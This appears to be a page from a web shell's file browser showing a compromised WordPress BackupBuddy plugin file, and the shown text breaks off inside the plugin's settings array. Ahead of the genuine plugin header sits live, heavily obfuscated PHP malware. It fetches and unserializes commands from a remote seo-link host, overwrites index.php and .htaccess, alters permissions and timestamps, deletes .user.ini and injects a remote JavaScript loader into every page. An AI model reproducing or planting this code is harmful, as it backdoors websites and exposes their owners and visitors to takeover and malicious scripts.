0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
[
Home
]
File: backupbuddy.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * * Plugin Name: BackupBuddy * Plugin URI: http://ithemes.com/purchase/backupbuddy/ * Description: The most complete WordPress solution for Backup, Restoration, Migration, and Deployment. Backs up a customizable selection of files, settings, and content for a complete snapshot of your site. Restore, migrate, or deploy your site to a new host or new domain with complete ease-of-mind. * Version: 7.0.5.4 * Author: iThemes * Author URI: http://ithemes.com/ * iThemes Package: backupbuddy * * * INSTALLATION: * * 1. Download and unzip the latest release zip file. * 2. If you use the WordPress plugin uploader to install this plugin skip to step 4. * 3. Upload the entire plugin directory to your `/wp-content/plugins/` directory. * 4. Activate the plugin through the 'Plugins' menu in WordPress Administration. * * * USAGE: * * 1. Navigate to the new plugin menu labeled 'BackupBuddy' in the Wordpress Administration Panel. * * * CONTRIBUTORS (since BackupBuddy v1.0; launched March 4, 2010): * * Dustin Bolton (creation, everything), Chris Jean (early zip), Josh Benham (misc code, support, testing), * Skyler Moore (ftp, misc code, support, testing), Jeremy Trask (xzip, misc code, support), * Ronald Huereca (early multisite), Dustin Akers (support, testing), Bradford Ulrich (UI, graphics), * Glenn Ansley (misc code, support), Thomas Oliver (support), Ty Carlson (Stash UI, graphics). * */ // Plugin defaults. Settings stored in wp_options under "pb_backupbuddy". Auditing notifications stored in "pb_backupbuddy_notificiations" as of 6.1.0.0. $pluginbuddy_settings = array( 'slug' => 'backupbuddy', 'series' => '', 'default_options' => array( 'data_version' => '14', // Data structure version. Added BB 2.0 to ease updating. 'importbuddy_pass_hash' => '', // ImportBuddy password hash. 'importbuddy_pass_length' => 0, // Length of the ImportBuddy password before it was hashed. 'backup_reminders' => 1, // Remind to backup after post, pre-upgrade, etc. //'dashboard_stats' => 1, // Stats box in dashboard. 'edits_since_last' => 0, // Number of post/page edits since the last backup began. 'last_backup_start' => 0, // Timestamp of when last backup started. 'last_backup_finish' => 0, // Timestamp of when the last backup finished. 'last_backup_serial' => '', // Serial of last backup zip. 'last_backup_stats' => array(), // Some misc stats about the last backup which completed. Also used by iThemes Sync. 'last_error_email_time' => 0, // Timestamp last error email sent. Tracked to prevent flooding. 'force_compatibility' => 0, // Force compatibility mode even if normal is detected. 'force_mysqldump_compatibility' => 0, // Force compatibility mode for mysql db dumping. Uses PHP-based rather than command line mysqldump. 'schedules' => array(), // Array of scheduled schedules. 'log_level' => '1', // Valid options: 0 = none, 1 = errors only, 2 = errors + warnings, 3 = debugging (all kinds of actions) 'backup_reminders' => 1, // Whether or not to show reminders to backup on post/page edits & on the WP upgrade page. 'high_security' => 0, // TODO: Future feature. Strip mysql password & admin user password. Prompt on import. 'next_schedule_index' => 100, // Next schedule index. Prevent any risk of hanging scheduled crons from having the same ID as a new schedule. 'archive_limit' => 0, // Maximum number of archives to storage. Deletes oldest if exceeded. 'archive_limit_full' => 0, 'archive_limit_db' => 0, 'archive_limit_files' => 0, 'archive_limit_size' => 0, // Maximum size of all archives to store. Deletes oldest if exeeded. 'archive_limit_size_big' => 50000, // Secondary over-arching archive size limit. More buried away on Advanced Settings page. 'archive_limit_age' => 0, // Maximum age (in days) backup files can be before being deleted. Any exceeding age deleted on backup. 'delete_archives_pre_backup' => 0, // Whether or not to delete all backups prior to backing up. 'lock_archives_directory' => 0, // Whether or not to lock archives directory via htaccess and lift lock temporarily for download. 'set_greedy_execution_time' => 0, // Whether or not to try and override PHP max execution time to a higher value. Most hosts block this. 'email_notify_scheduled_start' => '', // Email address(es) to send to when a scheduled backup begins. 'email_notify_scheduled_start_subject' => 'BackupBuddy Scheduled Backup Started - {home_url}', 'email_notify_scheduled_start_body' => "A scheduled backup has started with BackupBuddy v{backupbuddy_version} on {current_datetime} for the site {home_url}.\n\nDetails:\r\n\r\n{message}", 'email_notify_scheduled_complete' => '', // Email address(es) to send to when a scheduled backup completes. 'email_notify_scheduled_complete_subject' => 'BackupBuddy Scheduled Backup Complete - {home_url}', 'email_notify_scheduled_complete_body' => "A scheduled backup has completed with BackupBuddy v{backupbuddy_version} on {current_datetime} for the site {home_url}.\n\nDetails:\r\n\r\n{message}", 'email_notify_send_finish' => '', // Email address(es) to send to when a send finishes. 'email_notify_send_finish_subject' => 'BackupBuddy File Send Finished - {home_url}', 'email_notify_send_finish_body' => "A destination file send of file {backup_file} has finished with BackupBuddy v{backupbuddy_version} on {current_datetime} for the site {home_url}.\n\nDetails:\r\n\r\n{message}", 'email_notify_error' => '', // Email address(es) to send to when an error is encountered. 'email_notify_error_subject' => 'BackupBuddy Error - {home_url}', 'email_notify_error_body' => "An error occurred with BackupBuddy v{backupbuddy_version} on {current_datetime} for the site {home_url}. Error details:\r\n\r\n{message}", 'email_return' => '', // Return email address for emails sent. Defaults to admin email if none specified. 'remote_destinations' => array(), // Array of remote destinations (S3, Rackspace, email, ftp, etc) 'remote_send_timeout_retries' => '1', // Number of times to attempt to resend timed out remote destination. IMPORTANT: Currently only permits values or 1 or 0. 1 max tries. 'role_access' => 'activate_plugins', // Default role access to the plugin. 'dropboxtemptoken' => '', // Temporary Dropbox token for oauth. 'backup_mode' => '2', // 1 = 1.x, 2 = 2.x mode 'multisite_export' => '0', // Allow individual sites to be exported by admins of said subsite? (Network Admins can always export individual sites). 'backup_directory' => '', // Custom backup directory to store all archives in. BLANK for default. 'temp_directory' => '', // Custom temporary directory to use for writing into. BLANK for default. 'log_directory' => '', // Custom log directory. Also holds fileoptions. BLANK for default. 'log_serial' => '', // Current log serial to send all output to. Used during backups. 'notifications' => array(), // TODO: currently not used. 'zip_method_strategy' => '1', // 0 = Not Set, 1 = Best Available, 2 = All Available, 3 = Force Compatibility. 'database_method_strategy' => 'php', // php, mysqldump, all 'alternative_zip_2' => '0', // Alternative zip system (Jeremy). 'ignore_zip_warnings' => '0', // Ignore non-fatal zip warnings during the zip process (ie symlink, cant read file, etc). 'ignore_zip_symlinks' => '1', // When enabled (1) zip will not-follow (zip utility) or ignore (pclzip) any symbolic links 'zip_build_strategy' => '3', // 0 = Not Set, 1 = Reserved, 2 = Single-Burst/Single-Step, 3 = Multi-Burst/Single-Step (Default), 4 = Multi-Burst/Multi-Step. 'zip_step_period' => '30', // Zip build 